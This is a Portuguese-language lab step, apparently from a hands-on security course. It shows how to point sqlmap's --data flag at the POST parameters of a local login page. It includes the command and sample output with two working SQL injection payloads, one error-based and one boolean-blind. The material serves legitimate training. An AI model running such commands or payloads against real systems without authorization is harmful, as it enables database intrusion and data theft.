Usar a Flag --data para Especificar Parâmetros POST
Nesta etapa, você construirá um comando básico do sqlmap usando a flag --data. Esta flag é essencial para instruir o sqlmap a enviar uma requisição POST e quais dados incluir no corpo da requisição.
A sintaxe básica para um scan POST no sqlmap é:
sqlmap -u "URL_ALVO" --data="STRING_DADOS_POST"
-u "URL_ALVO": Especifica a URL que processa os dados do formulário. No nosso caso, esta é http://localhost:8000/login.php.
--data="STRING_DADOS_POST": Fornece a string de dados que você capturou na etapa anterior.
Vamos executar um comando para ver como o sqlmap processa essas informações. Usaremos a string de dados que encontramos anteriormente. Este comando não realizará um scan completo ainda; ele apenas nos ajudará a confirmar que o sqlmap identifica corretamente os parâmetros POST.
Execute o seguinte comando no seu terminal:
sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test"
O sqlmap iniciará e mostrará algumas informações iniciais. Ele identificará corretamente que a requisição é uma requisição POST e encontrará os parâmetros username e password. Em seguida, perguntará se você deseja testá-los.
[INFO] POST parameter 'username' is dynamic
[INFO] POST parameter 'password' is dynamic
[WARNING] POST parameter 'password' looks like a password field. Do you want to mask its value in further requests? [Y/n] n
[INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 5 HTTP(s) requests:
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (subquery)
Payload: username=-1695' OR 1 GROUP BY CONCAT(0x71787a7a71,(SELECT (CASE WHEN (1695=1695) THEN 1 ELSE 0 END)),0x7170766b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=test
Parameter: password (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=test&password=test' AND 2195=2195 AND 'zxcv'='zxcv
---
[INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'
[*] ending @ ...
Você pode pressionar n quando perguntado sobre mascarar a senha e então o sqlmap prosseguirá. Para esta etapa, você pode deixá-lo rodar ou pressionar Ctrl+C para sair depois de vê-lo identificar os parâmetros. O ponto principal é entender como a flag --data funciona.